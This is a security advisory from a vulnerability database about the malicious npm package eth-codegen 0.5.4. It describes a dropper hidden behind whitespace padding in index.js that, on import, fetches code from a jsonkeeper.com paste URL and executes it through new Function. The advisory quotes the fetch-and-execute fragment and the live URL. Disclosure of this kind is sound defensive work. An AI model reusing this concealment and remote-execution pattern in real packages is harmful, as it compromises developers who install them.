MAL-2026-12371

    Dashboard / Malicious Package / MAL-2026-12371

    MAL-2026-12371

    Published: 5 Aug 2026Last Modified: 5 Aug 2026

    Summary: Malicious code in eth-codegen (npm)

    Details: Source: amazon-inspector (c111948c855e4133fbd037c268523a2118038ca498e9bdba1c743d4ee77f24bc) The package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper. index.js appends an async runHandler() concealed after ~1KB of whitespace padding following the `module.exports = leanhooksPlugin;` line. On require, runHandler() performs `axios.get('https://www.jsonkeeper.com/b/VYFER')`, then passes the response's `cookie` field to `new Function('require',...)` and invokes it with the installer's `require`. jsonkeeper.com is an anonymous, mutable paste host controlled by whoever created the paste, giving that party arbitrary code execution in the installer's Node process every time the package is imported. The whitespace concealment plus cover-story package name/description are deliberate evasion.

    References: https://www.npmjs.com/package/eth-codegen/v/0.5.4

    Affected packages

    Package

    Name: eth-codegen

    Purl: pkg:npm/eth-codegen

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    0.5.4
    MAL-2026-12371 | CVE-DB